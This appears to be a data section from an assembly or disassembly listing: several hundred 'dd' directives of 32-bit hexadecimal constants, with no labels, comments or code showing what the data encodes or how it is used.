		dd 306D408Fh, 221DC08h,	5E2E5D7Ah, 74006F04h, 0D467C738h
		dd 59260634h, 283DA84Bh, 742BF58h, 967F4C75h, 6A6FD2B0h
		dd 481F00F3h, 25983DD1h, 12062023h, 0E7BA4FD6h,	79F0C8F8h
		dd 0F2EA17C0h, 22034602h
		dd 0FCB0097h, 99256FEAh, 0AB008DF5h, 74083A2Ah,	50B7A054h
		dd 2857B498h, 0A30F08Ah, 0CC222FD6h, 0C27F80BCh, 83F1D08Eh
		dd 35E2A300h, 72B442E8h, 3DDA00BFh, 0F2FCD39Dh,	127EC1F6h
		dd 807C6000h, 27041965h, 0D8F07D5h, 0B21B5B8Ah,	54E0B232h
		dd 6000F415h, 0CEA3DD48h, 0B3F0C9h, 3A5DECA9h, 1826AA5Eh
		dd 7500B574h, 0B2CB9420h, 0CD63B81h, 0EE332499h, 21C0A708h
		dd 1FB2F371h, 0FD40007h, 412CA0D7h, 680062ACh, 0BC5BBEBAh
		dd 703B2EEAh, 0A54D0039h, 4104F5A0h, 0F9009F1Eh, 355D492Fh
		dd 44BAB2h, 0E025B420h,	77BFA587h, 8385F180h, 0ABB47103h
		dd 4955708h, 69074520h,	0E81E1F6Ah, 0BD18A798h,	0C451442Fh
		dd 1F217506h, 107005h, 0C01DB527h, 5EF46207h, 8C12B400h
		dd 11F95143h, 0EAF812ABh, 154B00B5h, 4531DCDBh,	8C355700h
		dd 808139F1h, 6D951FB3h, 0E299C09Ch, 0EC3F2944h, 40CE7200h
		dd 41F5BE4Fh, 426601FCh, 0DF095B85h, 0CF38D447h, 0CCE1120Fh
		dd 0CD53C0A4h, 6D9D7Fh,	18BC99B4h, 0DD476710h, 8063963Fh
		dd 0E266EFADh, 98BF9CE1h, 32F90067h, 917FED44h,	8C00DCE0h
		dd 0D7A5B0D4h, 789B47Bh, 0D9027D24h, 4906D001h,	72007842h
		dd 91EBDEBBh, 11E949Fh,	0BCF4EEF5h, 0F0B6D452h,	9AE83BEAh
		dd 0D100F27Eh, 0C2B5595Dh, 66BDF6BEh, 212208CAh, 5DD9FD00h
		dd 0CE51705Ch, 0F75F0119h, 15B316BDh, 8C2BC83Bh, 0BEB2250Fh
		dd 81772045h, 7B0EDh, 90FB638h,	2E1B75BBh, 669A28C0h, 38EDC625h
		dd 9D807E8Fh, 23B63EF6h, 8500C175h, 15B1F4ADh, 129A917h
		dd 0E3C7998Ch, 0C5BD1DDEh, 3E2081E2h, 0EB42B13Ah, 611204Fh
		dd 0A9209894h, 8F5580EAh, 0A53ED8C0h, 39E40D1h,	0B3925E68h
		dd 0E9E00476h, 20C09DAEh, 7B5DBAB6h, 6E2303D5h,	361B8A1Ah
		dd 21B30832h, 88F661DFh, 64C87C8h, 0B254A0ECh, 0ED46485Eh
		dd 0D17B5902h, 0B2314E23h, 7B41DB10h, 37176B03h, 0F2A958CFh
		dd 2FC0A132h, 2985A00Ah, 40E5BD23h, 0A98A9684h,	88E90876h
		dd 8DAE0229h, 0F0080383h, 0EC00F492h, 0C88EBE88h, 562EDB3h
		dd 8C9F8602h, 99AC043Ch, 1E874398h, 0A739050Eh,	40A2A108h
		dd 0E6E91AB0h, 0BC78307Bh, 0F09AEF12h, 0C0EC2408h, 0B5585DD0h
		dd 2722DA46h, 5DD8FC01h, 8849CCEDh, 48B5B1ECh, 50014AEh
		dd 9CCE0E1Fh, 0CDF889A0h, 0B718CF60h, 30818F6Ah, 7010BD91h
		dd 0C0F00660h, 8CB21F28h, 0B8024945h, 7B5330E7h, 7E23D711h
		dd 0E180B088h, 0C5077B5Bh, 9D8079Fh, 47709464h,	9510CCD2h
		dd 0CDB90312h, 3782145Dh, 879B2B71h, 9E91BDF0h,	98473CF0h
		dd 0EA8C802Ah, 0CDE92Dh, 0D3D25389h, 1ADDA1DBh,	5ED1DF1Fh
		dd 5C7C4D40h, 30570336h, 59500D8Dh, 69C08056h, 12F416C2h
		dd 7111008Bh, 8F52D9ADh, 9E50A5A1h, 0F0E1D080h,	0FA641206h
		dd 0D640E6A0h, 0E399A525h, 36DDE4A0h, 56F01202h, 0A81C1F87h
		dd 3508ACE8h, 1B2C07C4h, 458C4F7Ah, 0B08B8248h,	6814E992h
		dd 384108Bh, 74E2B77Bh,	0CC3DF1C0h, 0B585250Ch,	7BD86884h
		dd 0B1C90270h, 2862A60Dh, 0D9BD0460h, 3F05C492h, 3C77A946h
		dd 0B1B38C45h, 0F076DC21h, 5552EC00h, 92818560h, 17115E1h
		dd 683021EAh, 0E4560160h, 0FB011B7Ch, 2C6348D5h, 3AE0D1DDh
		dd 9CF502D8h, 0DF0D2FF0h, 0F40B7C45h, 72C1006Ch, 74DDCA39h
		dd 0A4260556h, 4150DCFCh, 53D72C80h, 0A3E443C4h, 3E68A903h
		dd 0F782DCh, 4BE01249h,	0EACA89F8h, 0FA719E19h,	21801908h
		dd 384BE834h, 592E0D06h, 57094EA4h, 0FE140169h,	0A0925236h
		dd 0EB543228h, 117B5F30h, 885E23D3h, 47DD80B7h,	0EF87A47Bh
		dd 0D27FC205h, 0E4806EF4h, 5021B18Fh, 0B001E8A6h, 28394853h
		dd 88C67205h, 0DBEC0882h, 0E01CF8A0h, 923DAA45h, 24099679h
		dd 0C8C888C6h, 71D80D0Ch, 0BE0318F0h, 5987398Bh, 0A1E5C10Ah
		dd 6CA4D8BAh, 3AB44674h, 8CB5836Ch, 0A862DDA6h,	0B0104B05h
		dd 9D230908h, 1800EB01h, 0F19BB680h, 9A20C005h,	44005644h
		dd 0E0B7F896h, 160E0601h, 8DE093Ah, 0CC219562h,	5C5440F0h
		dd 9CE33076h, 0C8827252h, 0ED209898h, 0F854ACEEh, 152D438Dh
		dd 0E80A83h, 5B7ED6Ch, 12A37282h, 47E75F7h, 103D7710h
		dd 700A7CECh, 0B4FEBE3Ch, 0B8643691h, 0B7F46040h, 0EE0121E4h
		dd 0B7ECC8C0h, 200D3FCBh, 5083B13h, 2F824Ah, 1A5BF0D4h
		dd 0A9FA397Ah, 0A4F17524h, 0E77D1582h, 20A08CF4h, 4DB5837h
		dd 4889F010h, 0F38C76CCh, 4DB5E060h, 2688CC3Ah,	5DDCF880h
		dd 1EBC7FACh, 0F056C412h, 86F96CA1h, 0BE6F2C13h, 5CA1BB00h
		dd 3B60FA94h, 449EA237h, 36EFC178h, 20E32890h, 0AF323A34h
		dd 2C54B08Dh, 48CF190h,	0B5535DD7h, 202A6232h, 0E85DDFF7h
		dd 89985530h, 2E735782h, 389F28h, 8461E1D7h, 3A0F9EC1h
		dd 0D2BCA1EAh, 28C7C04h, 64C8650Ah, 0B7B06742h,	8CDE01E6h
		dd 0F69344h, 75DBB7EAh,	53C83CD6h, 56116E0Ch, 7DD42183h
		dd 542800CEh, 5F1B52C4h, 0A0900214h, 8020A045h,	0E5F840F5h
		dd 3310B49Ah, 292ABFB7h, 247464Ch, 1E3B7F5h, 119C31F6h
		dd 20BAEDCBh, 0E4E9470Ah, 27467EACh, 76310772h,	74A9F19Dh
		dd 0A120C2ABh, 0F7011CE4h, 0C441190Fh, 5D07A81h, 8AAD00E8h
		dd 0CF6FFF1Eh, 25188598h, 9A315214h, 218118F7h,	270348A4h
		dd 4434A926h, 7908E90Ch, 1B75120Dh, 525802F5h, 0B4673EF1h
		dd 0D86018C4h, 0CD0095D0h, 1C45F65h, 9A0F7D37h,	2355037Ch
		dd 4EB354EAh, 421AF6A9h, 0F33041B4h, 1E511B7h, 809D88E6h
		dd 24B7EBC9h, 0BD092731h, 87B2C89Ch, 4AC3051Ch,	17C00026h
		dd 0F7112CE9h, 8EFD85B9h, 0A069E3F8h, 0BCB8855h, 1D4E3A6Eh
		dd 0FC13A87h, 897DD1E4h, 27408335h, 0CED08Dh, 1D471358h
		dd 3EBB39E9h, 0E8DC5A48h, 0B8098C27h, 43CAFCDh,	7C408830h
		dd 8362A12Ch, 0BA315A7Ch, 0ECDC1926h, 41BCB0E1h, 8DF3D101h
		dd 0A9E90589h, 9DD198C8h, 0D9012418h, 6B911853h, 6044BAF0h
		dd 94A3F483h, 0E0D49906h, 0D302ED46h, 0D2B55F5Dh, 0FB102131h
		dd 48F45DDBh, 0FE008B75h, 0D9B0B1AAh, 0FA2F0192h, 8FFCA019h
		dd 0B99130A9h, 8E53F6C0h, 0EDAD71Fh, 12C7E0Fh, 8D368728h
		dd 3075BBDCh, 9A9004BFh, 0B0C3565h, 48127157h, 91CA00F2h
		dd 76B347EAh, 3A5DF752h, 9DB9089Ch, 370503CBh, 0A0C095D6h
		dd 0D3036BF3h, 98177F2h, 0B62002C6h, 0DBEE1B0Eh, 7523209Eh
		dd 7F540198h, 0D471495Bh, 39006101h, 0FA8D09E5h, 0C0EAA26Dh
		dd 0DDC825C9h, 5D092705h, 4A09EF4h, 0E560D9A0h,	8923F34Bh
		dd 1E11F2h, 934BED31h, 3367E8h,	0A108367Ch, 75B189E4h
		dd 98A0B56Ah, 19F4674h,	0C97582Ah, 19808455h, 57FA4556h
		dd 65E877BBh, 93F06400h, 0CBB3B681h, 0B25533B9h, 309E5270h
		dd 1FDDE4A0h, 41207683h, 35448CAh, 0E5DA7466h, 0D110B119h
		dd 25A1890h, 8C6F0B3Ch,	0E4C0E0ECh, 0E60E7143h,	52231D3Fh
		dd 70080C16h, 7B5CC0E8h, 665C23D4h, 44E0E0D0h, 3CE037Bh
		dd 0C9551668h, 0D06A31B8h, 2FB7D0A0h, 5492A978h, 8EA37E00h
		dd 0BC504277h, 59C70008h, 131E9720h, 0CB010304h, 0FF55D951h
		dd 76C93D18h, 0F94A70h,	13623036h, 0A1E18BD3h, 1CFDEE00h
		dd 6A58838Dh, 0F07C0042h, 14375728h, 9D00E1EAh,	0DB1C71B8h
		dd 3E296ABDh, 0B09F7C83h, 232EC0FBh, 0C0A34711h, 2F003CE2h
		dd 84A0B768h, 2CDCB4h, 176993F9h, 154989ADh, 0C35D4600h
		dd 0EA635053h
		dd 76D00012h, 403E5BDEh, 0F8009775h, 0B569A5D4h, 94FAABh
		dd 85CB4FA3h, 7019F915h, 6E555B24h, 98DB7300h, 0EDAFA37h
		dd 265FACC0h, 0C06154C4h, 2C93A091h, 5510E101h,	25433AB3h
		dd 48E015D1h, 7D6E82Ah,	650692A8h, 4CFD0027h, 94068488h
		dd 7AAD811h, 924E0318h,	0FC59145h, 0E04AF5E1h, 0C0783823h
		dd 46D0950Ch, 18B32808h, 612C9718h, 660036A0h, 0C5B52DAAh
		dd 1490A8EFh, 0E92778DBh, 0C607B358h, 3CFC1604h, 29322530h
		dd 10A02812h, 200979Ah,	75160D09h, 606782BCh, 0E56D782Ah
		dd 5B6891CCh, 7D631CD1h, 50191842h, 5B1BC075h, 0A0640FFEh
		dd 11216498h, 80A1E2B8h, 0A16C5130h, 11515C21h,	0C9C0610h
		dd 0C300747Bh, 1D3E9AA6h, 60AAE545h, 0D5B32013h, 0FC00A5A9h
		dd 0A6A86115h, 10E1168h, 90ED5EE0h, 874A7ECBh, 49F345B1h
		dd 0E3FB630Fh, 35F819Ch, 3172D2D0h, 7E511B78h, 19318115h
		dd 1E940D02h, 90CCF0h, 68BC0E04h, 0CD8B22BDh, 0C83245B8h
		dd 208D7855h, 6BBE5648h, 2BCE1C05h, 0A004B7E3h,	4E4192D0h
		dd 4061669Ah, 0E058D898h, 3AF82F00h, 230B568Ch,	201000E2h
		dd 145030DDh, 9230CC5Ch, 0D8EF7902h, 24D950C5h,	0DE4D8847h
		dd 177E301Eh, 987D8B8Eh, 0F13EC1h, 9CAE5A84h, 32651636h
		dd 61CEB505h, 0B05CB7A3h, 580BACC7h, 706556D1h,	0D88A38BEh
		dd 0EDC343Eh, 50580679h, 1C4908C5h, 0BC401C40h,	7DFB4680h
		dd 9AB33FCh, 398BA24Ah,	6ABE2000h, 0DD001648h, 892F327Ch
		dd 0A037ABA4h, 149CF4A2h, 0F4DCC0DFh, 5E73007Ch, 180AC22Ah
		dd 61C127EBh, 40B67E9Ah, 3A96B09Ch, 527F03F9h, 753A5E9Ch
		dd 61C51806h, 2C9B1A4h,	24E14B48h, 0E4A712AAh, 0E4800968h
		dd 0FBFC93F7h, 89535212h, 2B6FB004h, 0E7E40C1Fh, 0AA114819h
		dd 0FB1A3227h, 0C00559B2h, 0EDA84364h, 6E5E6D0h, 6935AA8Ch
		dd 0E4004274h, 0F87EE7AFh, 12C54DD1h, 0ECAA09h,	3AA7BC08h
		dd 8F02F321h, 155169BEh, 33660A4h, 88A20033h, 0F395C13Bh
		dd 23078683h, 9C3A96C6h, 0DBF0E9h, 0D74309DAh, 4AD8F6DFh
		dd 4208A500h, 0CDEFE228h, 3DB797Bh, 0C3724745h,	4878DFDCh
		dd 0F7B3081Bh, 0F271F920h, 303E609Eh, 39B27869h, 0F489800h
		dd 0D39D17A5h, 0FB0F6A7h, 45545AAAh, 7B067A60h,	0D107E343h
		dd 9C5B158Ch, 0A9EA3B20h, 8E40C33h, 4551D31Ah, 0F9B71818h
		dd 23D7270h, 0F898018Dh, 0DA007A63h, 3A3FC40Dh,	4C18D789h
		dd 0F618C643h, 846241C6h, 4E53F29h, 152DA980h, 6CE25A99h
		dd 7BCE4A00h, 0D1C758E7h, 77620774h, 31850CB5h,	209754FEh
		dd 0B36FDB4Dh, 5F90A480h, 68205A80h, 5802606Ch,	0B7410F95h
		dd 0B00A6FEh, 0ABC11277h, 42995Bh, 0DABEF0C0h, 78105D72h
		dd 700087EAh, 0E98A4084h, 216E759h, 89642CEBh, 0EEE0C023h
		dd 0CB75F052h, 12338B00h, 0FA781103h, 7F2300FDh, 983197DAh
		dd 4700E860h, 0A29262EEh, 74D5A5h, 3682FD4Dh, 2A5D6D76h
		dd 48C0FAB0h, 0E3242311h, 0F4511893h, 6FA28897h, 2D2EC505h
		dd 94C0B9A7h, 72E7ADD8h, 6E8A03ECh, 0E8D9D49Ah,	0F4C29011h
		dd 3AE6560Eh, 2AC7D120h, 1A00F933h, 3CDA75FFh, 0C0F2C142h
		dd 0ADDE10A0h, 0CE06CCE1h, 0F1F6C25Dh, 2B20C040h, 12709737h
		dd 308C011Ch, 0C5EF4C80h, 609D44E5h, 12714178h,	0A0F01E6Bh
		dd 1A4FBE07h, 0F23037Fh, 0A4408D5Bh, 37F1CF5Eh,	0FE260046h
		dd 7FC7E4C4h, 0A73A47D7h, 0FA486073h, 23C5Fh, 84D8D48Fh
		dd 0CB726F18h, 0B801D5E8h, 0C4E98747h, 0C0609FCFh, 0E8C9F65Ch
		dd 2019605Eh, 9AE98F1Dh, 30F92B00h, 0B0CBB7D8h,	0CE2A3983h
		dd 8A87C580h, 936E42B8h, 2E328900h, 4A2B2031h, 1F7D0Bh
		dd 0B052CDE7h, 9CA35C4Bh, 0D5406D7Eh, 0F800E9B5h, 0E66DD6F7h
		dd 0DE002290h, 78D4D13h, 965B9D84h, 52C3614Eh, 8850E183h
		dd 38DD6230h, 37FADB87h, 149C09Fh, 520EAC5Ch, 402A8A61h
		dd 21E5C0BCh, 0B3AD0025h, 0E6F22BB4h, 0F3A3E49Fh, 83984000h
		dd 92D20B59h, 2D290EB4h, 828CB60Ah, 9B00E191h, 50629959h
		dd 0C8F7BA2h, 52E4F8B5h, 0A700F641h, 2A50409h, 18D3BC96h
		dd 90F57ABBh, 0EAA0FF72h, 6A02A91Bh, 2FEB9658h,	559C8057h
		dd 36039064h, 0A8102BFEh, 292AB1FEh, 41A0BC5Ch,	4003E39Fh
		dd 0C12C2512h, 76180C13h, 182022AAh, 3241AC00h,	4AADEA9Eh
		dd 0F4970A58h, 40708EE6h, 0D21659B4h, 91229A46h, 59ACEA01h
		dd 1DE4C938h, 0ECEFE3D8h, 0DC5220A0h, 7BA8CE07h, 0FF5557h
		dd 0F09EAA77h, 0F581C029h, 17F89DDBh, 19C7395Ch, 2708EEACh
		dd 0D1622180h, 1C01CE9Dh, 0CB883813h, 0AB89571Ch, 0EB040098h
		dd 3E0EEA3h, 0F70FAC19h, 3800AA86h, 4AC1DB2Ah, 1F99F85h
		dd 673C705Bh, 0D8F1C222h, 6B00A98Ch, 55E99951h,	2A5E05Dh
		dd 25970A15h, 94A1C521h, 26701885h, 0E97C0274h,	31A7CFC7h
		dd 85101042h, 0F26D00E9h, 247D89Dh, 0A909C711h,	6542F9h
		dd 0DE2C773Ch, 0D01554EEh, 6C0B0038h, 8110AB86h, 603A93CAh
		dd 21BC308Eh, 6C13EAh, 0AC7E1BD0h, 604E01F3h, 97F6CC18h
		dd 0FA69E9h, 8F675E2Eh,	0B37C5B19h, 22504B12h, 0B461200Ah
		dd 32D9BCA1h, 5E040218h, 7F126452h, 30850C82h, 35085989h
		dd 64B562D2h, 0A1E34084h, 0B76B59h, 0C8A0D198h,	0CB47D2CDh
		dd 13212098h, 0E9738175h, 18BFCFD8h, 9A91885Bh,	0CDE5E90Eh
		dd 0E067E0E2h, 13AED48Dh, 38542F8h, 3E5D2B61h, 0FF1F4F90h
		dd 0CC904B14h, 0FAB60080h, 0DC1A056Bh, 3776A3h,	0EBD061A9h
		dd 7AF9B310h, 5F68B000h, 7857B82Bh, 5258C088h, 5173A902h
		dd 55402E01h, 0FFB0EE9Ch, 8402BC25h, 59B53089h,	82D21112h
		dd 7EF9038h, 0A55859ADh, 5599A06Eh, 2F6192A9h, 73E996A0h
		dd 7BE906DBh, 393FEFDCh, 43DC482h, 2B027506h, 3D450010h
		dd 35408676h, 3000D6A6h, 3E84744Fh, 3053B74Ah, 2F20472Eh
		dd 0C200802Bh, 0F428FDE2h, 788E54F0h, 0B3FC0017h, 1F52EECEh
		dd 0E400D746h, 1D5E7083h, 1CA963A3h, 0C057CBA7h, 0D72B056Dh
		dd 0AC00354Dh, 943C32C0h, 8C9DA5h, 0A32FB758h, 1619D32Bh
		dd 0C93A7B00h, 9CE71BA6h, 8B07003Ch, 6BB08821h,	3300140Bh
		dd 0F6C677FDh, 0E63EFEh, 0C28A6D07h, 7611B806h,	3685A00h
		dd 23699855h, 50BF3CABh, 0A32B3100h, 89EDEE44h,	7BAC0813h
		dd 9BC4A03h, 35BAD149h,	0C025DAFFh, 219A9Dh, 0FCE8E7D8h
		dd 412724A1h, 471D040Fh, 954FC04Ah, 8B8468h, 0F4F0BC6Ah
		dd 0C6BB3C3Dh, 0C91A1803h, 0C08DA602h, 7D1767h,	5F7410ADh
		dd 49CBFEB1h, 472A570Fh, 110B60E8h, 3A415DDh, 4A9A4B14h
		dd 65B0C8EEh, 61E4BD60h, 2218FC00h, 5EA93BECh, 8F7D0016h
		dd 155A47CAh, 0DE0AAB3Ah, 0F09E434Eh, 0A75C688Eh, 5E80F886h
		dd 0A9DC0Ch, 4AFD3A39h,	0C3C971D2h, 0C499A61Ch,	1D745E80h
		dd 143D70BEh, 0A4EC90DCh, 0AEF88809h, 8118C90Ah, 7A74CCD2h
		dd 55A08058h, 0F0CEB407h, 67A000FEh, 4AEEF399h,	0DC0118B6h
		dd 338064E8h, 92C0854Eh, 820503CFh, 0DA16D397h,	8766D8D0h
		dd 0B1E12D26h, 0EA3AEB00h, 4A0F9Bh, 75D2FC99h, 0E30209A6h
		dd 3D11D800h, 3B543EE8h, 0E5E00078h, 0BA246D39h, 513A20FDh
		dd 7DBD128Bh, 601A080Eh, 0CD2CFCFAh, 0AD060389h, 0B8A9FEF2h
		dd 1A21E016h, 7100E854h, 1B55C206h, 6F073A1h, 401DDFDEh
		dd 8500E064h, 0B07212F2h, 3A6B826Ah, 9C00863Eh,	6ED65721h
		dd 70006450h, 0D270956h
		dd 0E139A4Ch, 0F492A68Bh, 0F9F1A7h, 4AC5B391h, 940301E4h
		dd 0E911C002h, 0A17DA08Bh, 4868C378h, 0B6DA4A12h, 49333C40h
		dd 7156E103h, 0D73FB752h, 1B4C63D0h, 0F8DD0025h, 5F54A619h
		dd 8C286E0Dh, 0D677CC2Ch, 0A7F5E00h, 529D874Dh,	0A141001Ch
		dd 0B8AD70BAh, 0B2E66F99h, 8494213Dh, 7F67642Fh, 4FBF0080h
		dd 8CA300A7h, 0A3156DBh, 58E84176h, 59BA2807h, 0A1901A8Bh
		dd 2B1DE8h, 2E807447h, 68F38DC0h, 4A3C3300h, 75B70984h
		dd 4ED8132Bh, 0EE3020DDh, 68788C5Ah, 0F697E300h, 0D11E5BAEh
		dd 0FB7D9Eh, 0DBD27407h, 4E64DFB4h, 6B110800h, 34ABE2CCh
		dd 6F3D00BEh, 0A03F9375h, 9CB820BBh, 0DF001490h, 0F658374Ch
		dd 0E0CE897Bh, 3D18C099h, 0DA1A8C52h, 0EF027078h, 498F29CCh
		dd 0ACD54183h, 0B0BD9920h, 0E2D4608Eh, 0DE4FFA3Ah, 4DA2280Fh
		dd 98C58062h, 0AE0E7Dh,	0CB02209h, 0BCAAC1FEh, 861FDAF8h
		dd 0D4C052B9h, 15A711E5h, 0D3E10264h, 635CF26Ch, 700FD7E0h
		dd 0D7C7B800h, 0FC938F53h, 4D990F5Bh, 224F6B42h, 2798E800h
		dd 3D019AB3h, 0E6869665h, 0F6F0C81Fh, 1B8F0506h, 898C59h
		dd 634099A1h, 9200F173h, 0AC9B7C86h, 3E21B083h,	480E11CCh
		dd 4CE9932h, 0A20D1C00h, 0EF061667h, 29B2286Bh,	2D0A30A8h
		dd 7257252Ah, 0C2F18701h, 0AB70CCECh, 6ADAD440h, 0FB883909h
		dd 0F5E84680h, 0F277A24Dh, 8670C800h, 0CF9E3325h, 0F9FF0195h
		dd 0FC3A14C5h, 42E6F0AEh, 8DA95004h, 508067E3h,	3C5B7D2h
		dd 0E44C11Fh, 0E0034775h, 3F17987Bh, 77900399h,	0F1D9C7B5h
		dd 0D09429F0h, 32D49003h, 0E8458173h, 5051B6h, 0DACC2855h
		dd 22C4589Eh, 474A949h,	0A24FDF3Eh, 63ECF281h, 0CC89A0EFh
		dd 30C49834h, 0F53CC695h, 5AFADF9Eh, 25055600h,	23723A91h
		dd 0D99604CAh, 808E6D06h, 5897AF5h, 8F975801h, 0F93254C2h
		dd 0A08D1EE0h, 7EEAC0h,	0DA956C51h, 0DE6656D1h,	0E284D414h
		dd 930500D8h, 82BC3311h, 390F00A0h, 0F3C6BE94h,	4E00719Dh
		dd 6F6C9E73h, 1D6E58D3h, 401A4AA8h, 74018223h, 48020E2Ah
		dd 0B0EF2860h, 0E2450F7h, 12EAB983h, 0BA5A2E3h,	9E1DC5E0h
		dd 98180A24h, 57C62204h, 0ECD96CC1h, 0EE11F3ECh, 0AF1F3B08h
		dd 0F8372000h, 0AB0E0287h, 9093D900h, 0FEDA8955h, 26920077h
		dd 0F450C5E9h, 11383B8Eh, 0FC9A001Ah, 45283927h, 5D650064h
		dd 0ACD937FEh, 0B10033DDh, 14DA8055h, 13683Dh, 9D1E57E4h
		dd 0BA37F1Fh, 25936D1Dh, 20AF3EC0h, 813FC4h, 0B3F55D97h
		dd 9A7B9B7Dh, 51DA072Ch, 2780681Dh, 961A3F59h, 0A5D42475h
		dd 648F386Bh, 41E08BC9h, 1D5D12B5h, 61C78A07h, 0BAF0FE94h
		dd 0BDA84Bh, 80FC6CE9h,	685CB2Ah, 0AA4C1E00h, 0B0678754h
		dd 1D437879h, 805286A9h, 63D25E02h, 0B09855B3h,	0BC285A00h
		dd 0B45BBF92h, 0F060002Fh, 0ADE9DD7Fh, 0AA01B90Fh, 925703BAh
		dd 6530C6B6h, 3EA370FAh, 67803F65h, 8528E046h, 0E9774C48h
		dd 64F2621Eh, 0BB811780h, 904D758h, 8083FBCCh, 7FFC580h
		dd 0E500B440h, 0DABDB261h, 17763BE2h, 6021FEh, 4302207Ah
		dd 65007924h, 7B9F38F9h, 242DE64h, 66B8BB14h, 0D48061B2h
		dd 0FE70BFB0h, 8639EF00h, 882276A5h, 0C2F70192h, 1BB10EF6h
		dd 118E3015h, 0E12C6F00h, 0B8B3DE63h, 0A8D60079h, 1E08678Ch
		dd 9D09D388h, 80F713A9h, 0C3440EDFh, 74B32518h,	0A18FB020h
		dd 30FF677Fh, 9003C64h,	71A488A3h, 3A7E79h, 5989AA06h
		dd 2BDE1E9Ah, 0E9499C07h, 3C275639h, 4A68F5D0h,	0B5520066h
		dd 0AB9B8A30h, 0BF00DBE3h, 27B16F2Ah, 1E768F98h, 0F864129h
		dd 4009E35h, 2B608483h,	0EA0A172Ch, 981C09h, 0FBE6FC7Eh
		dd 863800ABh, 95D077A9h, 82018CD8h, 5D43179Ah, 5039206Bh
		dd 0C9D04818h, 0C90EFFCEh, 8ED7CFC4h, 9F7982DAh, 5C10826Ch
		dd 0A21C80F7h, 3A7D2A9Eh, 98389117h, 0B860AEACh, 5DB4CA80h
		dd 3941926Fh, 0F5AFA100h, 50E5BCA8h, 0ED17414h,	8A2FC9DFh
		dd 0E3D37040h, 487C1780h, 0D984A100h, 8CD01D83h, 0E0990CB4h
		dd 0D190F2AEh, 9F0ACF08h, 3254646Fh, 0B4F700B6h, 0D5002644h
		dd 5F314907h, 0FD142E5h, 9F2B2487h, 79CCC940h, 0C0EE1F74h
		dd 90AD8300h, 42F08C18h, 10AA03D2h, 1B1D6FF9h, 0FCC1B1B0h
		dd 24B08600h, 3E7E139Bh, 0F82DEACFh, 0B4870046h, 0FFDEB512h
		dd 41002077h, 633305BEh, 3C0A6Ch, 49345AAEh, 8D2CF86h
		dd 38F03203h, 83A8B59Ah, 30BEB894h, 374A3AE6h, 0E93ED701h
		dd 0E841691Dh, 9F0F147Ah, 0A0A534FBh, 397697CBh, 760E0B6h
		dd 8F38A3A2h, 0B423A073h, 0CE00A418h, 2572BB56h, 6BF063h
		dd 0CAA5CF61h, 0B48D30Fh, 49CE6000h, 25B63A59h,	6E643FFFh
		dd 1DD4F612h, 0A9DDC0EDh, 851423F9h, 0D111A49Ch, 896C0880h
		dd 8718ABh, 0E6D70EFh, 0D700207Eh, 185D6F1Ch, 734DEBh
		dd 83CE77CBh, 0D152F3D3h, 0DA619F64h, 826D6760h, 8E70AB10h
		dd 6D6FDEB0h, 5D1D5201h, 0AF721462h, 1850A770h,	60744603h
		dd 0C907096h, 0A42EF24Eh, 22009E23h, 0A01E9042h, 504560EBh
		dd 0DC9AD161h, 0F890B0D3h, 0A4D32C76h, 6C0A045Ch, 62A8AB87h
		dd 72602EC6h, 0F673186Dh, 0A4583303h, 1AE3558Bh, 682EFB12h
		dd 9C79FC59h, 0F9FAF218h, 85691060h, 112A02h, 0E9D86C69h
		dd 6D86175Ah, 0AA772B09h, 3F4CE6ACh, 171F9DC5h,	0C891E169h
		dd 9DDB6C00h, 45491620h, 0B452E302h, 0D1AD9C69h, 6CD9F7Ch
		dd 761892A3h, 3EC2AE12h, 0E153D400h, 9BE2BEh, 866273DBh
		dd 70AFCDC5h, 7E004175h, 0BF47B534h, 7884B7E6h,	40F400FAh
		dd 562D3CAFh, 2400D652h, 0EF90681Fh, 0BA5A4Dh, 0C4F4E58Ch
		dd 168A92B4h, 3E00D0F2h, 0CD6D9118h, 0E05834h, 47B21DC6h
		dd 0CE3C9CCBh, 17F6101Eh, 59B07C00h, 0FE9CD12h,	0F58AAE2Dh
		dd 2465BC80h, 0D30E7BA9h, 8F42614Fh, 0D0A5003Ah, 6DC91FAh
		dd 0C4AD0F01h, 0E9670819h, 0E5500421h, 0C0D4FA28h, 86894510h
		dd 0CA1F24E2h, 4FC7AA22h, 0C0811043h, 56F899CCh, 3181D8B9h
		dd 0CCE9B8D3h, 11C325EDh, 7828B1Ah, 0D7B9FDB8h,	2D08ECBFh
		dd 936021C0h, 25C882h, 0EBE45785h, 0E8837B44h, 0D24AF401h
		dd 0A613B5D3h, 0C454F30h, 4403B2E6h, 0CB9849B0h, 23386201h
		dd 1B202E39h, 75A3DBh, 0D2E23A58h, 0FBB0AD98h, 7DAF0400h
		dd 5A99486Dh, 5EDA28D8h, 73D20CA8h, 0BE606E38h,	0E864C450h
		dd 1D0ABF00h, 2A59CB3Fh, 0AE24065Bh, 38209B68h,	1BE43E00h
		dd 2672BD88h, 56A300C1h, 92D958A2h, 8A008016h, 0C735EC62h
		dd 0F8FD1DCh, 8163EB2Dh, 0C530280h, 1B77FD56h, 0A554D6F8h
		dd 0F242DA0Ch, 0A1BDA921h, 801D0851h, 1106F642h, 8B318261h
		dd 0E1A3E04h, 8CE859CFh, 2BEB1603h, 0B9A0000Ch,	0E63E08B7h
		dd 0B3039EAh, 77092091h, 48B50664h, 514ED61Bh, 0A8744FFCh
		dd 3F5D39CFh, 5ED5F203h, 1A3CC1E5h, 83E3C2E1h, 4470E60Fh
		dd 0EC7899F1h, 8FA8828h, 8B22ED78h, 0D0010FB2h,	8F014056h
		dd 0F94514C3h, 0E104F7CFh, 9EAD648Dh, 40516205h, 0E068E9ACh
		dd 260255D1h, 6508632h,	930EE3F1h, 89380483h, 0FF0820Ch
		dd 5A0C11D2h, 0B79B735h, 0CDC81018h, 3882F731h,	0CA80AF75h
		dd 0BB5119Ah, 8FE2028h,	0F8189300h, 4F2E9BA8h, 33140302h
		dd 8CF27036h, 76FEC688h, 0F72B8900h, 1215295Dh,	0ABB505EDh
		dd 38C4F18Dh, 0DB015014h, 0B3728F21h, 1A063Fh, 0BC1EDDC0h
		dd 473FA99h, 7AB30DCCh
		dd 71BB80BAh, 9300DCCDh, 8DC8BFFEh, 0A798D7F6h,	5F2E8C14h
		dd 0AF29D670h, 2BC07491h, 0E5062Fh, 4BE612E2h, 9DF0D1B2h
		dd 0F5D49926h, 0F7753F01h, 96DAE2AAh, 0A7F60134h, 0F73A05D2h
		dd 2070A34Ah, 0CC08BF00h, 52129FFEh, 8BC444A0h,	0D90880E9h
		dd 449067D0h, 47A430F9h, 0E4826092h, 0EBF8043Fh, 105960DDh
		dd 0F95DAE52h, 48CF2400h, 0DFE9A796h, 42A0E57h,	0B5E1EB0Ch
